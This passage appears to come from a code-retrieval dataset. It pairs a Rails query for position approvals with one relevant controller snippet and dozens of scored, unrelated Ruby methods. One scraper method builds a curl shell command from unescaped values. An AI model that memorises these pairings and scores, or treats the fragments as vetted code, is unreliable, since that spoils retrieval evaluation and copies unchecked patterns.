self.datastreams[\"VRA\"].ng_xml.to_s\r\n #self.datastreams[\"VRA\"].dirty = true\r\n end", "title": "" }, { "docid": "d2098a81baf540453d730ccd4691e70e", "score": "0.47713226", "text": "def cluster_list_item_div_id(private_name)\n img_id = cluster_list_div.span(text: /#{Regexp.escape(\"(#{private_name})\")}/).image().id\n img_id[0..-5] #eg changes u532_line0_exp to u532_line0\n end", "title": "" }, { "docid": "6126b919e5f524bb666fcffae43cd7f5", "score": "0.47585052", "text": "def initialize(id)\n @id = id\n @@all_blocks[id] = self\n end", "title": "" }, { "docid": "a6afd2cd218d1ddfb7d8264971c5874b", "score": "0.47518837", "text": "def json_sets_without_image\n ids = []\n JsonSet.all.each do |set|\n if set.json_cards.any?\n if File.exist?(\"/home/deploy/magic/shared/public/#{set.json_cards.first.image_url}\")\n next\n else\n ids << set.id\n end\n elsif set.json_tokens.any?\n if File.exist?(\"/home/deploy/magic/shared/public/#{set.json_tokens.first.image_url}\")\n next\n else\n ids << set.id\n end\n end\n ids\n end\n end", "title": "" }, { "docid": "01ecc0968da5dffaf971fd0626507c2f", "score": "0.47432807", "text": "def merge_id_hashes(dist, src, id_references)\n dist = dist.with_indifferent_access\n src = src.with_indifferent_access\n\n id_references.each do |id_reference|\n array_of_refs = id_reference.split('/')\n\n merge_id_hashes_helper(dist, array_of_refs, src)\n end\n\n dist\n end", "title": "" }, { "docid": "5de6d3480ed49edd4f6f3339dd8df377", "score": "0.47359687", "text": "def image_uri_from_id= id\n self.image_uri = Image_URI % id\n end", "title": "" }, { "docid": "d662e83050f48809a7778881c81c3004", "score": "0.47331953", "text": "def parse_link_definition\n return false if @src[3].to_s =~ /[ \\t]+[\"']/\n @src.pos += @src.matched_size\n link_id, link_url, link_title = normalize_link_id(@src[1]), @src[2] || @src[3], @src[5]\n if @link_defs[link_id]\n warning(\"Duplicate link ID '#{link_id}' on line #{@src.current_line_number} - overwriting\")\n end\n @tree.children << new_block_el(:eob, :link_def)\n @link_defs[link_id] = [link_url, link_title, @tree.children.last]\n true\n end", "title": "" }, { "docid": "4d8b48019c44bb63499a20dbc15d6477", "score": "0.4720423", "text": "def set_ids(elements, visited = [], parent = '')\n num = 1\n\n elements.each do |el|\n if !visited.include?(el)\n id = \"#{parent}#{num}\"\n el.set_id(id)\n visited << el\n set_ids(el.children, visited, \"#{id}_\")\n num += 1\n end\n end\n end", "title": "" }, { "docid": "8d1db56a1fcb5251b1f7a672e5e959ea", "score": "0.47192177", "text": "def get_ids(url)\n #return ['142730293478'] # for debugging\n #return ['141088779348'] # for debugging\n agent = Mechanize.new\n page = agent.get(url)\n ids = page.search('article').map do |a|\n a.get_attribute 'id'\n end\n if (nxt = page.at('#older'))\n sleep 1\n nextpage = nxt.get_attribute('href')\n p \"get next #{nextpage}\"\n ids.concat(get_ids(DOMAIN + nextpage))\n else\n ids\n end\nend", "title": "" }, { "docid": "8c546a311b67096159aaa29b78a57592", "score": "0.47170317", "text": "def set_legacy_ingest_id( dirname, id )\n\n begin\n f = File.join( dirname, TaskHelpers::INGEST_ID_FILE )\n File.open( f, 'w') do |file|\n file.write( id )\n end\n return true\n rescue => e\n end\n return false\n\n end", "title": "" }, { "docid": "8fb66f0e68038ffbf4ba7e5c5cf1b54e", "score": "0.47158727", "text": "def line_has_identifier?(line, id)\n while (index = line.index(String_regex)) != nil\n line.insert(index, line.slice!(String_regex)[0..0])\n line.slice!(/^\"/)\n end\n line.slice!(Comment)\n return line.include?(id)\n end", "title": "" }, { "docid": "d01968295673a402b5bdabdb598f8b5a", "score": "0.4715379", "text": "def find_ids(ids)\n ids.inject([]) { |x, id| x << all.find { |y| y.id == id }}\n end", "title": "" }, { "docid": "176ff1ef037a770da7019ff5079fa5ff", "score": "0.47111157", "text": "def download_detail_html_pages_slow\n start = Time.now\n\n # get all ids\n all_ids = CSV.read(\"#{@listings_folder}/merged_ids.csv\")[1..-1].map{|x| x[0]}\n\n # create folder if not exist\n FileUtils.mkdir_p @details_folder\n\n # get ids that have already been downloaded\n existing_files = Dir.glob(\"#{@details_folder}/*.html\")\n remaining_ids = if existing_files.nil? || existing_files.length == 0\n all_ids\n else\n existing_files.map!{|x| x.split('/').last.gsub('.html', '')}\n\n # determine the remaining ids that need to be retrieved\n all_ids - existing_files\n end\n\n if remaining_ids.nil? || remaining_ids.length == 0\n puts \"there are NO files to download\"\n else\n puts \"there are #{remaining_ids.length} files to download\"\n\n remaining_ids.each_with_index do |id, index|\n if index%50 == 0\n puts \"\\n\\n- #{index} files downloaded so far in #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n\n `curl -o #{@details_folder}/#{id}.html #{@details_url}#{id}`\n end\n end\n\n puts \"TOTAL TIME TO DOWNLOAD = #{Time.now - start} seconds\"\nend", "title": "" }, { "docid": "1e85d43189a8daa5ab74df742a680d83", "score": "0.47030112", "text": "def resolve_id id\n lazy_load_strings\n @strings_xml[id]\n end", "title": "" }, { "docid": "c40ba914591c6442cc937d38c9704f84", "score": "0.4699058", "text": "def file_ids(id)\n criteria = {:type_ids => [Runcible::Extensions::File.content_type],\n :fields => {:unit => [], :association => ['unit_id']}}\n\n unit_search(id, criteria).map { |i| i['unit_id'] }\n end", "title": "" } ]
f10cc1167279e51b454e30a8917b2620
GET /position_approvals/1 GET /position_approvals/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "f4fb6f6cd80a71f41d95452557c82add", "score": "0.72898453", "text": "def index\n @position_approvals = PositionApproval.all\n end", "title": "" }, { "docid": "f31738c4108e1e45c7b58d525fdb0420", "score": "0.62760544", "text": "def set_position_approval\n @position_approval = PositionApproval.find(params[:id])\n end", "title": "" }, { "docid": "6156120ea13cf4c0155c1f4bb48cb6d0", "score": "0.62418455", "text": "def update\n respond_to do |format|\n if @position_approval.update(position_approval_params)\n format.html { redirect_to @position_approval, notice: 'Position approval was successfully updated.' }\n format.json { render :show, status: :ok, location: @position_approval }\n else\n format.html { render :edit }\n format.json { render json: @position_approval.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aef7eaa2534f6c06b259aaa27003e08d", "score": "0.5996492", "text": "def create\n @position_approval = PositionApproval.new(position_approval_params)\n\n respond_to do |format|\n if @position_approval.save\n format.html { redirect_to @position_approval, notice: 'Position approval was successfully created.' }\n format.json { render :show, status: :created, location: @position_approval }\n else\n format.html { render :new }\n format.json { render json: @position_approval.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b79a6c4cf8860a7cb1357ff312f4734", "score": "0.59804094", "text": "def position_approval_params\n params.require(:position_approval).permit(:emp_requisition_id, :annual_compensation, :phone, :email,\n :comment, :approved)\n end", "title": "" }, { "docid": "1969e4509a52802a9fd732f2b2b7ca57", "score": "0.5978298", "text": "def required_approvals\n @project.required_approvals\n end", "title": "" }, { "docid": "c17eeb6875ca86d89028c9ae19d3ff04", "score": "0.592435", "text": "def merge_request_approvals(project, merge_request)\n get(\"/projects/#{url_encode project}/merge_requests/#{merge_request}/approvals\")\n end", "title": "" }, { "docid": "17e65db4f9a969e65b7d412a769768cd", "score": "0.5916184", "text": "def show\n @approval = @expense.approvals.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @approval }\n end\n end", "title": "" }, { "docid": "acca7b3d5d2a34fcb401dabb2db107b9", "score": "0.5906012", "text": "def show\n @system_appropriateness = SystemAppropriateness.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system_appropriateness }\n end\n end", "title": "" }, { "docid": "6632436ea9523af541a0729a3cda831f", "score": "0.5900684", "text": "def index\n @appr_positions = ApprPosition.find_all_by_position_id(@business.position_ids)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @appr_positions }\n end\n end", "title": "" }, { "docid": "e23dd97b3b9bcc8cd1350816b283ea1a", "score": "0.58837795", "text": "def index\n @approvals = Approval.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @approvals }\n end\n end", "title": "" }, { "docid": "23ca7dd9dcd9d63ea8c65c594f80383a", "score": "0.5856531", "text": "def index\n @proposals = Proposal.where(:design_status => \"proposed\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end", "title": "" }, { "docid": "523a72caf438cd6f89ca1dbc9e60d71a", "score": "0.5852707", "text": "def index\n @sponsee_approvals = SponseeApproval.all\n end", "title": "" }, { "docid": "2d0072e9725816d73f7a23ee9d5e485e", "score": "0.5803804", "text": "def index\n @approvals = RequestSearch.search_approvals_for @user,\n :q=>@q,\n :show=>@filter_name,\n :sort_by=> hf_sort_by,\n :sort_order=> hf_sort_order,\n :page=>@page,\n :per_page=>@per_page\n respond_to do |format|\n format.html # approvals\n format.json {render :json => @approvals }\n end\n end", "title": "" }, { "docid": "0150ebc0e55769f95913d59d81082d20", "score": "0.5789168", "text": "def index\n @approves = Approve.all\n end", "title": "" }, { "docid": "cf75d698c2149b1bd4818b2e67e3f1b0", "score": "0.57118857", "text": "def show\n @approval = @policy_resolution.approvals.build\n end", "title": "" }, { "docid": "768e8a276399fc4c6b36258515c665ee", "score": "0.5698088", "text": "def set_approver\n @approver = @absence_type.approvers.find(params[:id])\n end", "title": "" }, { "docid": "ccff4164e5662e1f4dbd8c8628ea798c", "score": "0.56872576", "text": "def index\n @purchase_order_approvals = PurchaseOrderApproval.all\n end", "title": "" }, { "docid": "62edd5edf8dd58773048b180d6c56f56", "score": "0.5683641", "text": "def show\n @appr_position = ApprPosition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appr_position }\n end\n end", "title": "" }, { "docid": "f502f633c961a0835f54123e251cc97a", "score": "0.56607544", "text": "def show\n @approvel = SystemApproval.find_by_system_id(params[:id])\n end", "title": "" }, { "docid": "2530056bcb06c9c4089762ba66938c66", "score": "0.559315", "text": "def add_approvals\n end", "title": "" }, { "docid": "d862a064cb56c327a1fd5a3e42e13973", "score": "0.5587965", "text": "def index_approvable\n @asset_cost_adjustments = AssetCostAdjustment.accessible_by(current_ability, :approve).search(params[:search]).page(params[:page])\n\n respond_to do |format|\n format.html { render \"index\" }\n format.json { render json: @asset_cost_adjustments }\n format.xml { render xml: @asset_cost_adjustments }\n end\n end", "title": "" }, { "docid": "b2fc18552043f44c986d4a1364e0ff18", "score": "0.55670303", "text": "def spl_book_aprvl\n @pending_aprvl = Request.get_special_approvals_from_lib(current_user.library_id)\n end", "title": "" }, { "docid": "eef47422ada10c2417942521e60cd6d3", "score": "0.5562417", "text": "def index\n @approvals = @agreement.approvals.all\n end", "title": "" }, { "docid": "ebe93274d65b615841aeab877eb96051", "score": "0.5557548", "text": "def index\n if current_user.major == \"Business\"\n @proposals = Proposal.find_all_by_user_id(current_user.id)\n else\n @proposals = Proposal.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end", "title": "" }, { "docid": "0ec51b10c3525d412bae47d08cb87000", "score": "0.55454177", "text": "def positions\n get(\"portfolio.positions\")\n end", "title": "" }, { "docid": "a7e220f5185a3d112d107a9c9fd5e1a8", "score": "0.5520255", "text": "def index\n @project = Project.find(params[:project_id])\n @project_positions = @project.project_positions.order(\"position\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @project_positions }\n end\n end", "title": "" }, { "docid": "44eea2e219ad335187a2f385ca265469", "score": "0.55145484", "text": "def approver_requests\n @approver_requests ||= approver_request_ids\n end", "title": "" }, { "docid": "35af773df03bb3fd0837c04e0a009231", "score": "0.5504134", "text": "def index\n @approaches = Approach.all\n end", "title": "" }, { "docid": "d44df8c60dcf5481b39b831fdc456d1a", "score": "0.548932", "text": "def get_reference_requests_of_professor\n respond_to do |format|\n format.json {\n @reference = Reference.where(:user_id => @current_user.id, :professor_approved => nil)\n if @reference\n render :json => @reference\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end", "title": "" }, { "docid": "ab696da629e6e23cbadad5097955b4b1", "score": "0.5482073", "text": "def index_approvable\n @accessory_adjustments = AccessoryAdjustment.accessible_by(current_ability, :approve).search(params[:search]).page(params[:page])\n\n respond_to do |format|\n format.html { render \"index\" }\n format.json { render json: @accessory_adjustments }\n format.xml { render xml: @accessory_adjustments }\n end\n end", "title": "" }, { "docid": "6bda230510f2b3bda8a7adf3d711ac68", "score": "0.54527086", "text": "def approval\n @buy_approvals = ApprovedBuyCat.where(status: '2')\n @sell_approvals = ApprovedSellCat.where(status: '2')\n end", "title": "" }, { "docid": "8e985526973dced9f344cdfa5763b2fe", "score": "0.5437158", "text": "def index\n authorize! :manage, :all\n @approvals = Approval.all\n end", "title": "" }, { "docid": "0cf9dc218195f9adb3cf7cb5331fdf64", "score": "0.54265255", "text": "def index\n @search = @approvals.search( params[:search] )\n @approvals = @search.result.ordered.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @approvals }\n end\n end", "title": "" }, { "docid": "b0c9a1b280155ad8e9c846767078b262", "score": "0.5405919", "text": "def proposal_approver_permissions\n @user_has_approver_permissions = is_non_nasa_draft_approver?(user: current_user, token: token)\n end", "title": "" }, { "docid": "a8c2b882c5887fdc61464fa5a2880a11", "score": "0.5383358", "text": "def index\n @proposals = policy_scope(Proposal) \n end", "title": "" }, { "docid": "c90f47271481c03609f30437da19561c", "score": "0.5382376", "text": "def index\n @proposals = Proposal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end", "title": "" }, { "docid": "38abadea567750b920932d3028d24840", "score": "0.53647906", "text": "def index\n @user = User.find(params[:user_id])\n @proposals = @user.proposals.all\n end", "title": "" }, { "docid": "c3b93f6a6b32a70cb76276e6185d0a5f", "score": "0.5334503", "text": "def destroy\n @position_approval.destroy\n respond_to do |format|\n format.html { redirect_to position_approvals_url, notice: 'Position approval was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5f8bf01e583e47ed02a6c820a6a343c6", "score": "0.5318542", "text": "def update\n @appr_position = ApprPosition.find(params[:id])\n\n respond_to do |format|\n if @appr_position.update_attributes(params[:appr_position])\n format.html { redirect_to @appr_position, notice: 'Appr position was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @appr_position.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be0150bfdae5246b2b3b9cfbcd9081b3", "score": "0.53119665", "text": "def new\n @appr_position = ApprPosition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @appr_position }\n end\n end", "title": "" }, { "docid": "88247c9dde1292794b07631a27316813", "score": "0.530358", "text": "def index\n @index_form = IndexForm.new(params['my_approvals'] || {}, session['my_approvals'] || default_index_form_params)\n redirect_to my_approval_requests_path(status: @index_form.as_hash) if params['status'].blank? && !@index_form.blank?\n @my_approval_requests = AppEditRequest.where(status: @index_form.get_filter_statuses)\n session['my_approvals'] = @index_form.as_hash\n end", "title": "" }, { "docid": "dc0da1cbc5c465ae604a959a7eaa9374", "score": "0.52903193", "text": "def set_approving_status\n @approving_status = ApprovingStatus.find(params[:id])\n end", "title": "" }, { "docid": "c3456193edb9dd0b2c4d796b1c347510", "score": "0.5286535", "text": "def index\n if @user.profilable_type == \"InvestorProfile\"\n @proposals = Proposal.get_proposals(@user).paginate(page: params[:page], per_page: 2)\n else\n @proposals = Proposal.where(\"enterprise_id IN(?)\", @user.enterprises.ids).paginate(page: params[:page], per_page: 2)\n end\n end", "title": "" }, { "docid": "a1d44b6a997cde9703849a96f40bd5b7", "score": "0.52792656", "text": "def index\n @approvals = RequestSearch.forms_for @user,\n :page=>@page,\n :per_page=>@per_page\n respond_to do |format|\n format.html # forms.html.erb\n format.json {render :json => @approvals }\n end\n\n end", "title": "" }, { "docid": "4c5cd5f5b00b1ee670f655b579daa7f3", "score": "0.52764195", "text": "def approvals\n @_approvals ||= Tenk::Approvals.new(self)\n end", "title": "" }, { "docid": "1947f239c46bad516ef6e2e79ed77820", "score": "0.527473", "text": "def show\n @approval = Approval.includes(:approvers).find(params[:id])\n authorize! :read, @approval\n end", "title": "" }, { "docid": "1a8a745ba3a6434806fb762da51bdd40", "score": "0.5269649", "text": "def show\n @preapproval = Preapproval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preapproval }\n end\n end", "title": "" }, { "docid": "a0159635e6136c6c1902b87a19bd00c7", "score": "0.5263886", "text": "def new\n @system_appropriateness = SystemAppropriateness.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_appropriateness }\n end\n end", "title": "" }, { "docid": "45c91e6dbc21413228130688c060d076", "score": "0.52373195", "text": "def show\n @project = Project.find(params[:project_id])\n @project_position = ProjectPosition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_position }\n end\n end", "title": "" }, { "docid": "01de01a8dc8c7eeff4e0dbcfb6006c5f", "score": "0.52358013", "text": "def approver_status\n @non_nasa_approver = is_non_nasa_draft_approver?(user: current_user, token: token)\n end", "title": "" }, { "docid": "9e84251c356631df1f954f0c553f7dfe", "score": "0.52335674", "text": "def viewapproach\n @approach=Approach.new()\n @property=Property.find(params[:id])\n @approachlist=Approach.where(property_id:@property.id).all\n if @property.flag == 1 \n @rentedp=Rentedlist.where(property_id: @property.id).take\n end\n end", "title": "" }, { "docid": "07e8195da8f6bf1286481411c49dc6be", "score": "0.5227727", "text": "def index\n @project = Project.find(params[:project_id])\n @project_position = ProjectPosition.find(params[:project_position_id])\n @project_activities = @project_position.project_activities.order(\"position\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @project_activities }\n end\n end", "title": "" }, { "docid": "d52801d2b4eb294da13a15a517d3521b", "score": "0.522284", "text": "def show\n @recommendation = Recommendation.find(params[:id])\n @approvals = @recommendation.approvals.find(:all, :order => \"created_at ASC\")\n @rec_user = User.find(@recommendation.user_id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recommendation }\n end\n end", "title": "" }, { "docid": "24d4ad7acb8306f771322284d2107bf2", "score": "0.5216005", "text": "def edit_merge_request_approvals(project, merge_request, options = {})\n post(\"/projects/#{url_encode project}/merge_requests/#{merge_request}/approvals\", body: options)\n end", "title": "" }, { "docid": "9877926fdb76a849084bd92fce159bb2", "score": "0.5214333", "text": "def currently_awaiting_approvals\n self.individual_approvals.actionable\n end", "title": "" }, { "docid": "1e3be691fba98825d5df2e14e67d920f", "score": "0.51981324", "text": "def index\n @budget_approvers = BudgetApprover.all\n end", "title": "" }, { "docid": "8fb0feb54db09816a7cbdcd858b85144", "score": "0.51893383", "text": "def set_approach\n @approach = Approach.find(params[:id])\n end", "title": "" }, { "docid": "4958517aadb8d67b55e1ec35163cea21", "score": "0.51881623", "text": "def approvals\n Approval.where(deal_id: self.id)\n end", "title": "" }, { "docid": "39413330e82cd92dd8680eac78a54d70", "score": "0.51847905", "text": "def index\n @approval_details = ApprovalDetail.all\n end", "title": "" }, { "docid": "71fa60c37bf4a4187345a98d77e4ff4c", "score": "0.51828146", "text": "def show\n @approval = Approval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @approval }\n end\n end", "title": "" }, { "docid": "14077319d3eaa26d0eac7ab6ed7debae", "score": "0.51822734", "text": "def index\n if current_user.user_type == 'creative'\n @proposals = Proposal.where(user: current_user).where(completed: nil).order(:created_at).page params[:page]\n else\n @proposals = Proposal.where(company: current_user.company).where(completed: nil).order(:created_at).page params[:page]\n end\n end", "title": "" }, { "docid": "ede5a5c948f687fefb816de24d8ba5db", "score": "0.5167314", "text": "def index\n @approving_statuses = ApprovingStatus.all\n end", "title": "" }, { "docid": "bac4589fcbd3d58c3589a5ba506bfd42", "score": "0.51616454", "text": "def projectApproval\n\t\t@requests = Request.pending\n\tend", "title": "" }, { "docid": "ca3790e344e75614f3b10751e1d3ade7", "score": "0.51589257", "text": "def show\n \t@project_survey = ProjectSurvey.find(params[:project_survey_id])\n @unpaid_undergrad_position = UnpaidUndergradPosition.where( :project_survey_id => @project_survey.id ).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unpaid_undergrad_position }\n end\n end", "title": "" }, { "docid": "315f23562a7fd970b510679964d9bcfb", "score": "0.51545614", "text": "def is_active_approver?(user)\n self.individual_approvals.non_pending.exists?(user_id: user.id)\n end", "title": "" }, { "docid": "4691f9d1f56bb3117206a009ebeeb429", "score": "0.5150781", "text": "def index\n @spots = Spot.where(is_approved: true)\n render json: @spots\n end", "title": "" }, { "docid": "8d59c21c24b6008d64edde775c0c615f", "score": "0.51471245", "text": "def index_approvable\n @master_data = MasterData.accessible_by(current_ability, :approve).search(params[:search]).order(\"id desc\").page(params[:page])\n\n respond_to do |format|\n format.html { render \"index\" }\n format.json { render json: @master_data }\n format.xml { render xml: @master_data }\n end\n end", "title": "" }, { "docid": "c1f324e9413e321ad8981a0f834a4166", "score": "0.5135667", "text": "def set_approval_detail\n @approval_detail = ApprovalDetail.find(params[:id])\n end", "title": "" }, { "docid": "4eb5f10460b0af0821bed5b744a0167d", "score": "0.51334083", "text": "def index\n @test_approvals = TestApproval.all\n end", "title": "" }, { "docid": "3607e57ce0312cbf177425b2581e9878", "score": "0.5126435", "text": "def get_all\n api_statement = generate_statement \"WHERE type = 'WORKFLOW_APPROVAL_REQUEST' AND entityType = '#{PROPOSAL}'\"\n begin\n page = @service.get_workflow_requests_by_statement api_statement.toStatement\n \n print_results page[:results] if page[:results]\n api_statement.offset += DfpApiStatement::SUGGESTED_PAGE_LIMIT\n end while api_statement.offset < page[:total_result_set_size]\n print_footer page\n end", "title": "" }, { "docid": "4c6d49fd6e3b032cb78ede509874698b", "score": "0.5124612", "text": "def overlapping_approved_requests\n overlapping_requests.where('status = \\'APPROVED\\'')\n end", "title": "" }, { "docid": "4c8b88a484fbb7e401e08c1d7e3ce129", "score": "0.51188666", "text": "def index\n if can? :create, User\n # like accessible_by -- show only proposals we have access to \n if params[:nsf_id]\n @proposal = Proposal.where(:nsf_id => params[:nsf_id]).all(:include => [:users, :associations]).select { |prop| can? :update, prop }\n else \n @proposal = Proposal.all(:include => [:users, :associations]).select { |prop| can? :update, prop }\n end\n else\n # This one is weird... improve it\n @proposal = Proposal.all :include => [:users, :associations], :conditions => [\"users.id = ?\", current_user]\n end\n\n respond_to do |format|\n format.html \n format.json { render json: @proposal.to_json(:include => [:users, :associations]) }\n end\n end", "title": "" }, { "docid": "4e1c63266ae17dfdc81757466cb6498b", "score": "0.5116828", "text": "def index\n @proposals = Proposal.all\n end", "title": "" }, { "docid": "4e1c63266ae17dfdc81757466cb6498b", "score": "0.5116828", "text": "def index\n @proposals = Proposal.all\n end", "title": "" }, { "docid": "86d772623d78249a5b69a6260adc18ec", "score": "0.5116558", "text": "def rapprochement\n\n end", "title": "" }, { "docid": "b1c61a99edb67ac51686c6b85758f7b8", "score": "0.5109842", "text": "def update\n @system_appropriateness = SystemAppropriateness.find(params[:id])\n\n respond_to do |format|\n if @system_appropriateness.update_attributes(params[:system_appropriateness])\n format.html { redirect_to @system_appropriateness, notice: 'System appropriateness was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system_appropriateness.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a256c1dc61168fda42c18a2d3525687b", "score": "0.5101821", "text": "def set_approver\n @approver = Approver.find(params[:id])\n end", "title": "" }, { "docid": "51f6445e3b360b2011044b573547270b", "score": "0.5099787", "text": "def by_approvals(items)\n MergeRequests::ByApprovalsFinder\n .new(params[:approved_by_usernames], params[:approved_by_ids])\n .execute(items)\n end", "title": "" }, { "docid": "ef8254ff76758f4626c9db427a618295", "score": "0.50943774", "text": "def approve_project id\n get_request \"projects/#{id}/approve\"\n end", "title": "" }, { "docid": "9efd41860edbefbd09caf3bf066ca37a", "score": "0.5092134", "text": "def index\n authorize @order\n limit = set_limit_for_query\n @proposals = @order.proposals.by_created.includes(:photo).limit(limit)\n @proposals = @proposals.offset(params[:offset]) if params[:offset].present?\n render\n end", "title": "" }, { "docid": "49be07b60d3dd1a9b58b443dffde506e", "score": "0.508795", "text": "def index\n @proposals = Proposal.where({group_id: params[:group_id]}).order(cached_votes_up: :desc)\n end", "title": "" }, { "docid": "09e373df5cbe88f28c6acec9130d7021", "score": "0.5083812", "text": "def get_student_approved_by_project_application\n respond_to do |format|\n format.json {\n param = params[:payload]\n\n @reference = Reference.where(:project_application_id => param[:application], :student_approved => true)\n\n if @reference\n render :json => @reference\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end", "title": "" }, { "docid": "f75cd0c35c29dfcba4913f33c684ec27", "score": "0.5080192", "text": "def minting_annual_provisions_get(opts = {})\n data, _status_code, _headers = minting_annual_provisions_get_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "361a5fc30665aaa2acec19d7337e01da", "score": "0.5075182", "text": "def approve_places\r\n #@places_pages, @places = paginate(:places, :constraints => [:public_status == Place::PUBLIC_STATUS_REQUESTED], :per_page => 10)\r\n\r\n @places_pages = Paginator.new self, Place.count, 200, @params['page']\r\n @places = Place.find :all, :conditions => \"public_status = #{Place::PUBLIC_STATUS_REQUESTED}\",\r\n :limit => @places_pages.items_per_page,\r\n :offset => @places_pages.current.offset\r\n end", "title": "" }, { "docid": "bb80963e5958e97877765defe2a64dc8", "score": "0.50719595", "text": "def index\n if params[:user]\n @user = User.find_by_id params[:user]\n @proposal = Proposal.all :include => :users, :conditions => [\"users.id = ?\", @user.id]\n authorize! :assign, @user\n elsif can? :create, User \n # like accessible_by -- show only proposals we have access to \n @proposal = Proposal.all.select { |prop| can? :manage, prop }\n else\n # This one is weird... improve it\n @proposal = Proposal.all :include => :users, :conditions => [\"users.id = ?\", current_user]\n end\n\n respond_to do |format|\n format.html \n format.json { render json: @proposal.to_json(:include => [:users]) }\n end\n end", "title": "" }, { "docid": "b84164cc9105a38edb1b46df01ae951d", "score": "0.50709784", "text": "def donations_grouped_by_poc\n # Only FCs can access this \n @roles = UserRoleMap.getRolesByUserid(params[:fc_id])\n \n unless User.has_role Role.CITY_FINANCIAL_CONTROLLER, @roles\n return\n end\n\n @approver= User.find(params[:fc_id]) if @approver.nil?\n @approver.set_current_user_role_map @roles\n donation_status_by_role = Donation.get_approval_status_by_role @approver.current_role\n\n puts @approver.inspect\n puts donation_status_by_role.inspect\n\n @subordinates=[]\n @approver.subordinates.each do |subordinate|\n total_amount_of_donations = subordinate.total_amount_of_donations(donation_status_by_role[:current_status])\n unless total_amount_of_donations == 0\n subordinate.total_donation_amount = total_amount_of_donations\n @subordinates.push subordinate\n end\n end\n\n respond_to do |format|\n format.xml\n end\n end", "title": "" }, { "docid": "c8b0257b9fb18af2e43b3f927c9744aa", "score": "0.50676054", "text": "def index\n @points = Point.by_promotions(@company.promotions)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @points }\n end\n end", "title": "" }, { "docid": "210da844d2aba030919ecbac17cf28b5", "score": "0.50649714", "text": "def index\n @inappropietes = Inappropiete.all\n end", "title": "" }, { "docid": "88ead0718c2b3a58d38211d0ea4d1ab3", "score": "0.5060051", "text": "def index\n @proposals = Lunch.next.proposals\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @proposals }\n end\n end", "title": "" }, { "docid": "8f46fd63d47bde71fe7e18308fceed97", "score": "0.50503045", "text": "def index\n @aprov_projs = AprovProj.all\n end", "title": "" }, { "docid": "880ac85ce44986547a7a338720db0457", "score": "0.50473297", "text": "def show\n @proposal_status = ProposalStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proposal_status }\n end\n end", "title": "" }, { "docid": "107d8a686356265223d8c9ab6b6a8079", "score": "0.5043562", "text": "def index\n @proposals = Proposal.all\n end", "title": "" }, { "docid": "c6f9f41b1c51bed1503ff0056fc4c4ec", "score": "0.50419074", "text": "def approvers\n users_for(role: Sipity::Role.find_by!(name: \"approving\"))\n end", "title": "" }, { "docid": "6527c624dd60e0a5ff3654913f108f79", "score": "0.5040001", "text": "def index\n @experiment_proposals = ExperimentProposal.all\n respond_with(@experiment_proposals) do |format|\n format.json { render :json => @experiment_proposals.as_json }\n end\n end", "title": "" }, { "docid": "88a922b70a9282b8db7932d724d26844", "score": "0.50363743", "text": "def set_lab_approval\n @lab_approval = LabApproval.find(params[:id])\n end", "title": "" }, { "docid": "97bf6922cc209af07f6e2f7a294de7fd", "score": "0.5032346", "text": "def set_possesion\n @possesion = Possesion.find(params[:id])\n end", "title": "" }, { "docid": "885ed1addcb919f7522ae1cfc25bef34", "score": "0.50321144", "text": "def index\n @proposals = Proposal.all.page(params[:page])\n end", "title": "" }, { "docid": "6278c1c5ac219cd3433b214023300bac", "score": "0.50287795", "text": "def admin\n if current_user.try(:admin?)\n @projects = Project.submittedforapproval.pendingapproval.page(params[:pendingapproval_page]).per_page(25)\n @activeprojects = Project.approved.page(params[:activeprojects_page]).per_page(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n else\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "786dbc6e1715ec5ec3b71e2d62e94893", "score": "0.50275403", "text": "def active_positions\n authenticated_post(\"auth/r/positions\").body\n end", "title": "" }, { "docid": "a316a43ba773d205777e7dd6ccda0d09", "score": "0.50192946", "text": "def po_check_price_before_approve\n _order = params[:order]\n _array = []\n order = PurchaseOrder.find(_order)\n if !order.nil?\n order.purchase_order_items.each do |i|\n prices = PurchasePrice.find_product_best_price(i.product)\n if !prices.blank?\n _is_current_price = prices.supplier == 